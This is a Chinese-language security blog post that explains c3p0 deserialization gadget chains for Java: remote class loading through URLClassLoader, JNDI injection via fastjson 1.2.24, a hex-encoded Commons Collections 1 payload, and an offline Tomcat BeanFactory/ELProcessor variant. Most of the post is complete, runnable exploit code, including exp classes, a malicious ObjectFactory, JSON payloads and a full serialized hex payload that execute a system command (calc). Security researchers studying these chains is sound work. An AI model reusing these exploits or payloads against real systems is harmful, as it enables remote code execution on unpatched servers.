版本:jdk8u25
依赖:c3p0(0.9.5.2),fastjson1.2.24,cc3.1和tomcat以及EL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <dependencies> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.15</version> </dependency> </dependencies>
c3p0详解 正常c3p0的利用方式就三种:
URLClassLoader远程类加载
JNDI注入
反序列化HEX字节
在前面几篇文章中我对前两个利用方式的前置知识做了讲解,所以直接步入主题
URLClassLoader链子 直接定位到漏洞点com.mchange.v2.naming.ReferenceableUtils的referenceToObject函数,实现如下:
referenceToObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException { try { String fClassName = ref.getFactoryClassName(); String fClassLocation = ref.getFactoryClassLocation(); ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader(); if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader(); ClassLoader cl; if ( fClassLocation == null ) cl = defaultClassLoader; else { URL u = new URL( fClassLocation ); cl = new URLClassLoader( new URL[] { u }, defaultClassLoader ); } Class fClass = Class.forName( fClassName, true, cl ); ObjectFactory of = (ObjectFactory) fClass.newInstance(); return of.getObjectInstance( ref, name, nameCtx, env ); } catch ( Exception e ) { if (Debug.DEBUG) { //e.printStackTrace(); if ( logger.isLoggable( MLevel.FINE ) ) logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e); } NamingException ne = new NamingException("Could not resolve Reference to Object!"); ne.setRootCause( e ); throw ne; } }
解析一下代码,获取输入的Reference实例,从实例中获取工厂类的类名称赋值给fClassName,获取加载工厂类的url赋值给fClassLocation
接着获取当前线程的类加载器,如果没获取到,就获取当前类的类加载器(都赋值给defaultClassLoader)
接着判断fClasssLocation是否为空,说的话就调用defaultCLassloader加载fClassName,不是则用URLCLassLoader加载远程工厂类并实例化,最后执行getObjectInstance函数
最后是抛出异常,这就不细讲
整理一下已知信息,我们需要控制Referenece,将他指向远程的恶意工厂类即可
那么我们接着寻找谁调用了referenceToObject函数
不是很多,直接定位到com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized的getObject函数
getObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Object getObject() throws ClassNotFoundException, IOException { try { Context initialContext; if ( env == null ) initialContext = new InitialContext(); else initialContext = new InitialContext( env ); Context nameContext = null; if ( contextName != null ) nameContext = (Context) initialContext.lookup( contextName ); return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); } catch (NamingException e) { //e.printStackTrace(); if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e ); throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() ); } } }
解析一下代码,创建一个InitialContext实例,把env给赋值了进去
接着判断contextName属性是否为空,不为空就调用InitialContext的lookup方法,赋值给nameContext
最后调用ReferenceableUtils的referenceToObject方法,第一个参数是reference属性,我们看看这个属性是否可控
可以发现赋值就一个构造函数:
ReferenceSerialized 1 2 3 4 5 6 7 8 9 10 ReferenceSerialized( Reference reference, Name name, Name contextName, Hashtable env ) { this.reference = reference; this.name = name; this.contextName = contextName; this.env = env; }
完全可控,那么接下来找谁调用了getObject函数
直接定位到com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase的readObject方法,这个方法就很合适了,可以当作入口
readObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case VERSION: // we create an artificial scope so that we can use the name o for all indirectly serialized objects. { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this.connectionPoolDataSource = (ConnectionPoolDataSource) o; } this.dataSourceName = (String) ois.readObject(); // we create an artificial scope so that we can use the name o for all indirectly serialized objects. { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this.extensions = (Map) o; } this.factoryClassLocation = (String) ois.readObject(); this.identityToken = (String) ois.readObject(); this.numHelperThreads = ois.readInt(); this.pcs = new PropertyChangeSupport( this ); this.vcs = new VetoableChangeSupport( this ); break; default: throw new IOException("Unsupported Serialized Version: " + version); } }
先反序列化出version,如果version是,在通过version进行下一步操作,这里保证version为0x0001即可
接着反序列化出o,假如o是IndirectlySerialized的实例,就调用o的getObject()函数,我们目前不知道o是反序列化出的哪个属性
反序列化属性的顺序是和序列化相对应的,所以想要查看这个反序列化的参数是啥,就得先看序列化writeObject
writeObject 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 private void writeObject( ObjectOutputStream oos ) throws IOException { oos.writeShort( VERSION ); try { //test serialize SerializableUtils.toByteArray(connectionPoolDataSource); oos.writeObject( connectionPoolDataSource ); } catch (NotSerializableException nse) { com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse); try { Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector(); oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) ); } catch (IOException indirectionIOException) { throw indirectionIOException; } catch (Exception indirectionOtherException) { throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); } } oos.writeObject( dataSourceName ); try { //test serialize SerializableUtils.toByteArray(extensions); oos.writeObject( extensions ); } catch (NotSerializableException nse) { com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse); try { Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector(); oos.writeObject( indirector.indirectForm( extensions ) ); } catch (IOException indirectionIOException) { throw indirectionIOException; } catch (Exception indirectionOtherException) { throw new IOException("Problem indirectly serializing extensions: " + indirectionOtherException.toString() ); } } oos.writeObject( factoryClassLocation ); oos.writeObject( identityToken ); oos.writeInt(numHelperThreads); }
可以看到先序列化了version,然后再实例化connectionPoolDataSource,version是反序列化第一个读出来的
那么刚刚讨论的o就是connectionPoolDataSource参数了,我们看看connectionPoolDataSource参数
private ConnectionPoolDataSource connectionPoolDataSource
是ConnectionPoolDataSource类,我们需要让他赋值成IndirectlySerialized的实例,正常来说近乎不可能,因为无论是正常赋值还是反射修改都会爆类型不兼容错误
但是呢,ConnectionPoolDataSource类是没有实现Serialize接口的,也就是说他不会正常反序列化而进入到catch的逻辑部分
我们看看catch部分的逻辑:
首先写个异常日志,然后实例化一个com.mchange.v2.naming.ReferenceIndirector类为indirector
然后调用ReferenceIndirector的indirectForm,实参为connectionPoolDataSource,我们跟进查看一下indirectForm是怎么实现的
1 2 3 4 5 public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); }
调用输入参数(connectionPoolDataSource)的getReference函数
然后返回一个ReferenceSerialized类,reference参数设置为了刚刚调用的getReference函数的返回
ReferenceSerialized实现了IndirectlySerialized接口,所以他能正常通过”o instanceof IndirectlySerialized”这个的检测
那么就很好了,实例化connectionPoolDataSource参数的时候会返回一个ReferenceSerialized类,并调用原本参数的getReference函数的返回值作为reference
那么我们的思路如下,创建一个类继承ConnectionPoolDataSource和Referenceable
重写getReference函数返回恶意Reference实例,即可赋值成功
链子是:
1 2 3 4 PoolBackedDataSourceBase#readObject-> ReferenceIndirector$ReferenceSerialized#getObject-> ReferenceableUtils#referenceToObject-> 恶意工厂类#getObjectInstance
接下来是exp:
ClassLoaderTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 package test; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class ClassLoaderTest { public static class EvilConnectionPoolDataSource implements ConnectionPoolDataSource, Referenceable{ @Override public Reference getReference() throws NamingException { Reference reference=new Reference("jndizr","jndizr","http://127.0.0.1:5555/"); return reference; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws Exception{ Class class2=Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Constructor constructor1=class2.getDeclaredConstructor(); constructor1.setAccessible(true); Object o1=constructor1.newInstance(); EvilConnectionPoolDataSource evilConnectionPoolDataSource=new EvilConnectionPoolDataSource(); Field field=class2.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(o1,evilConnectionPoolDataSource); ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o1); byte[] bytes=byteArrayOutputStream.toByteArray(); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
恶意类和jndi注入的恶意类一样
jndizr.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.Serializable; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class jndizr implements ObjectFactory, Serializable { public jndizr() { } public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws Exception { Runtime var5 = Runtime.getRuntime(); Process var6 = var5.exec(new String[]{"calc"}); var6.waitFor(); return null; } static { try { Runtime var0 = Runtime.getRuntime(); Process var1 = var0.exec(new String[]{"calc"}); var1.waitFor(); } catch (Exception var2) { var2.printStackTrace(); } } }
jndi链子 这条链子要和fastjson配合,不会fastjson的可以看我往期博客
就像我上一篇博客说的,jndi的入口是lookup,所以我们定位到com.mchange.v2.c3p0.JndiRefForwardingDataSource的dereference函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private DataSource dereference() throws SQLException { Object jndiName = this.getJndiName(); Hashtable jndiEnv = this.getJndiEnv(); try { InitialContext ctx; if (jndiEnv != null) ctx = new InitialContext( jndiEnv ); else ctx = new InitialContext(); if (jndiName instanceof String) return (DataSource) ctx.lookup( (String) jndiName ); else if (jndiName instanceof Name) return (DataSource) ctx.lookup( (Name) jndiName ); else throw new SQLException("Could not find ConnectionPoolDataSource with " + "JNDI name: " + jndiName); } catch( NamingException e ) { //e.printStackTrace(); if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", e ); throw SqlUtils.toSQLException( e ); } }
获取当前类的jndiName和jndiEnv,创建一个InitialContext,如果jndiEnv不为空就赋值给InitialContext
接着判断该jndiName是否为String的实例,如果是就直接lookup到jndiName
不是String实例的话就判断是否是Name实例,是的话lookup到jndiName
都不是就抛出异常
查看一下jndiName是否可控,只有setJndiName和readObject赋值了,完全可控
接下来找谁调用了dereference函数,定位到当前类的inner函数
inner 1 2 3 4 5 6 7 8 9 10 11 12 private synchronized DataSource inner() throws SQLException { if (cachedInner != null) return cachedInner; else { DataSource out = dereference(); if (this.isCaching()) cachedInner = out; return out; } }
如果cachedInner属性不为空,就直接return cachedInner
否则就调用dereference函数,没什么属性涉及到,直接再寻找谁调用了inner函数
可以定位到当前类的setLoginTimeout函数
setLoginTimeout 1 2 public void setLoginTimeout(int seconds) throws SQLException { inner().setLoginTimeout( seconds ); }
直接调用inner函数
到此就可以结束了,因为fastjson可以反序列化调用任意setter函数,链子是:
1 2 3 4 JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
直接给出exp
jndiTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package test; import com.alibaba.fastjson.JSON; public class jndiTest { public static void main(String[] args) { String payload="{\n" + " \"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n" + " \"jndiName\":\"ldap://127.0.0.1:1389/1111\",\n" + " \"loginTimeout\":\"114514\"\n" + "}"; System.out.println(payload); JSON.parse(payload); } }
payload:
1 2 3 4 5 { "@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName":"ldap://127.0.0.1:1389/1111", "loginTimeout":"114514" }
ldap可以用工具开,也可以自己写,不会自己写的也可以看我往期博客
反序列化HEX字节 这条链子也需要用到fastjson依赖
我们定位到漏洞点com.mchange.v2.ser.SerializableUtils的deserializeFromByteArray函数
deserializeFromByteArray 1 2 3 4 5 public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }
接收字节数组然后正常调用readObject反序列化,如果bytes可控,我们就可以用它调用任何readObject为入口的链子
然后查找谁调用了deserializeFromByteArray,可以看到当前类的
fromByteArray 1 2 3 4 5 6 7 8 public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; }
直接调用deserializeFromByteArray方法
我们再找谁调用了fromByteArray方法,定位到com.mchange.v2.c3p0.impl.C3P0ImplUtils类的parseUserOverridesAsString方法
parseUserOverridesAsString 1 2 3 4 5 6 7 8 9 10 11 public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1); byte[] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
输入形参String,如果String不为空,就把HASM_HERDER长度加一的部分和最后一个字符去掉,取后面的进行十六进制转字节数组
最后最后把这个直接数组传到fromByteArray函数中,我们看看HASM_HERDER是啥
private final static String HASM_HEADER = "HexAsciiSerializedMap";
所以传入的十六进制数的前面必须加上比”HexAsciiSerializedMap”长一个字节的字符串
那么再看看谁调用了parseUserOverridesAsString,定位到com.mchange.v2.c3p0.WrapperConnectionPoolDataSource类的构造方法
WrapperConnectionPoolDataSource 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public WrapperConnectionPoolDataSource(boolean autoregister) { super( autoregister ); setUpPropertyListeners(); //set up initial value of userOverrides try { this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); } catch (Exception e) { if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e ); } }
先调用父类的构造函数,再调用setUpPropertyListeners方法,这个方法不用管,肯定能执行成功
然后调用C3P0ImplUtils.parseUserOverridesAsString,形参是当前类的userOverridesAsString属性
那么分析就到此结束,用fastjson触发反序列化就能实例化触发构造方法,链子是
1 2 3 4 WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource-> C3P0ImplUtils#parseUserOverridesAsString-> SerializableUtils#fromByteArray-> SerializableUtils#deserializeFromByteArray
接着是exp,我们用cc1链做测试
HexTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package test; import com.alibaba.fastjson.JSON; import com.mchange.lang.ByteUtils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.Map; public class HexTest { public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer =new ChainedTransformer(Transformers); Map map=new HashedMap(); map.put("value","Nebu1ea"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Target.class,transformedMap); //序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); byte[] bytes=byteArrayOutputStream.toByteArray(); String hex = ByteUtils.toHexAscii(bytes); String payloadHex="HexAsciiSerializedMap1"+hex+";"; String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\""+ payloadHex +"\""+ "}"; System.out.println(payload); JSON.parse(payload); } }
具体payload:
1 {"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap1ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200316F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E5472616E73666F726D65644D617061773FE05DF15A700300024C000E6B65795472616E73666F726D657274002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B4C001076616C75655472616E73666F726D657271007E00057870707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001900000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00197371007E00117571007E001600000002707571007E001600000000740006696E766F6B657571007E001900000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00167371007E00117571007E00160000000174000463616C63740004657865637571007E00190000000171007E001E7372002C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4861736865644D6170E72F0A460E4F73F00300007870770C3F400000000000100000000174000576616C75657400074E65627531656178787672001B6A6176612E6C616E672E616E6E6F746174696F6E2E54617267657400000000000000000000007870;"}
不出网打法 前面已经介绍了一个不出网的打法: Fastjson打反序列化HEX字节
但没有fastjson依赖还有一种打法,要有tomcat的依赖,我在文章开头写了,漏洞点在org.apache.naming.factory.BeanFactory的getObjectInstance方法
这个方法很长,我就不粘贴了,想要审计的自己解决
直接讲讲它会干啥么
接收一个ResourceRef对象,并构造ResourceRef的resourceClass属性的实例
解析ResourceRef的键值对读取forceString的值,假如值是”nebu=eval”就把nebu绑定成eval函数
解析ResourceRef的键值读取nebu的值,并调用上面的实例中的nebu绑定的方法(eval),传入的实参为nebu的值
那么我们的思路就是,让ClassLoader那条链子找到BeanFactory类并调用getObjectInstance函数,让getObjectInstance调用javax.el.ELProcessor的eval函数执行恶意命令,即可大功告成
接下来是payload,用的还是ClassLoader那条链子:
BeanTest.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 package test; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class BeanTest { public static class EvilConnectionPoolDataSource implements ConnectionPoolDataSource, Referenceable{ @Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "nebu=eval")); resourceRef.add(new StringRefAddr("nebu", "Runtime.getRuntime().exec(\"calc\")")); return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws Exception{ Class class2=Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Constructor constructor1=class2.getDeclaredConstructor(); constructor1.setAccessible(true); Object o1=constructor1.newInstance(); EvilConnectionPoolDataSource evilConnectionPoolDataSource=new EvilConnectionPoolDataSource(); Field field=class2.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(o1,evilConnectionPoolDataSource); ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o1); byte[] bytes=byteArrayOutputStream.toByteArray(); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }